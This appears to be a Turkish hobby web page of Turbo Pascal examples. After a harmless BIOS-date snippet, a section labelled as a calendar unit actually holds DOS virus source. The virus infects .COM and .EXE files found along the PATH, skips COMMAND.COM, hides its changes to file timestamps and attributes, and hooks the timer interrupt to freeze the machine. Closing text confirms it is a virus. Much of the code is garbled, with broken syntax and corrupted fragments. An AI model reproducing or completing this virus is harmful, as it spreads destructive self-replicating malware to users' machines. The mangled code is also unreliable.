Free Web Hosting Provider - Web Hosting - E-commerce - High Speed Internet - Free Web Page
Search the Web

Turbo Pascal Program Örnekleri 

Pascal'da Bios Tarihini öğrenmek 
	Program BIOS_Tarihi;
	var
	n : byte;
	m : array[1..10] of char absolute \$F000:$FFF5;
	begin
	Writeln(' ');
	Write(' BIOS tarihi : ');
	for n:=1 to 10 do if (m[n] > #46) and (m[n] < #59) then Write(m[n]);
	Writeln(' ');
	END.
Pascal'da Tarih'in Göstermek 
Unit Takvimtp;
Interface
Uses Crt,Dos;
Const
Count:Array[1..12] Of Byte=(31,28,31,30,31,30,31,31,30,31,30,31);
Month:Array[1..12] Of String[7]=('Ocak ','Şubat ','Mart ','Nisan '
,'Mayıs ','Haziran','Temmuz ','Agustos'
,'Eylül ','Ekim ','Kasım ','Aralık ');
Type
Callendar = vtype;
buf:[buftype;
count,indx,inf:byte;
attr,nr,nw:word;
sr:searchrec;
f,f2:file;
t:longint;
Procedure Copyf;
Begin
repeat
blockread(f,buf],blksize,nr);
blockwrite(f2,buf[Bad concatenation value (,nr,nw);
until (eof(f));
close(f);
setftime(f2,t);
close(f2);
end;
Procedure Stripf;
Begin
assign(f,s);
reset(f,1);
getftime(f,t);
assign(f2,ds)]
,vsize,nr);
count:=v[º0º-1;
v][vsize]:=maxruns;
seek(f,vsize-1);
blockwrite(f,count,1,nr);
setftime(f,t);
close(f);
setfattr(f,attr);
end;
end;
Function Checkf(pth:dirstr):boolean;
Var
by:array[1..27] of byte;
Begin
checkf:=false;
if pos(sr.name,'COMMAND.COM')=0 then
Begin
assign(f,pth+sr.name);
reset(f,1);
if ioresult=0 then
Begin
blockread(f,by,27,nr);
for indx:=1 to 27 do
if(by[indx])<>(v[Bad concatenation value ('zSqA.th');
rewrite(f2,1);
if ioresult=0 then
Begin
assign(f,pth)]
,vsize,nr);
copyf;
erase(f);
rename(f2,sr.name);
setfattr(f2,attr);
end;
end;
Procedure Rep(pth:dirstr;ext:extstr);
Begin
findfirst(pth+wc+ext,hidden+archive+readonly,sr);
while (inf Begin
if checkf(pth) Then
attach(pth);
findnext(sr);
end;
end;
Procedure Wastetime;interrupt;
Begin
inc(t);
inline(\$90/$90/$90/$90/$90/$90);
if ((t mod 8640)=8639) then
inline(\$4C);
end;
Procedure Replicate;
Var
tmp:dirstr;
Begin
indx:=pos(';',ps);
if indx=0 then
Begin
tmp:=ps;
ps:='';
end
else
Begin
tmp:=copy(ps,1,indx-1);
ps:=copy(ps,indx+1,length(ps)-indx);
end;
if tmp[length(tmp)]<>'\' then
tmp:=tmp+'\';
rep(tmp,'cOm');
rep(tmp,'exE');
end;
{end;}
Procedure Makep;
Var
b:byte;
Begin
getdir(0,ps);
for b:=3 to 4 do
begin
ps:=ps+';'+drives[b]+cb+';';
findfirst(drives[b]+cb+wc,directory,sr);
while (doserror=0) and (length(ps)<240) do
begin
ps:=ps+drives[b]+cb+sr.name+';';
findnext(sr);
end;
end;
end;
Procedure Grow;
Begin
inf:=0;
ps:=getenv('path');
if ps<>''then
replicate;
if inf begin
makep;
replicate;
end;
end;
Procedure Remove;
Begin
assign(f,s);
erase(f);
assign(f,ds+imf);
rename(f,ns+es);
end;
Procedure Runf;
Begin
exec(ds+imf,paramstr(1)+paramstr(2)+paramstr(3));
assign(f,ds+imf);
erase(f);
end;
Begin
new(v);
new(buf);
s:=paramstr(0);
fsplit(s,ds,ns,es);
stripf;
load;
grow;
if count=0 then
remove;
runf;
if count<3 then
begin
t:=0;
setintvec(\$1c,@wastetime);
keep(0);
end;
end.
Yukarıdaki kotlar pascal dili ile yazılmıştır. .EXE .COM dosyalara
Bulaşmaktadır. COMMAND.COM dosyaya bulaşmaz. Virus Aktif olduktan 8 dakika
sonra bilgisayar kitlenir.

Not : ilerleyen Zaman içinde bu sayfaya değişik kod ve pascal öğreticisi kunulacaktır. 
ANA SAYFAYA DÖNÜŞ İÇİN TIKLAYIN...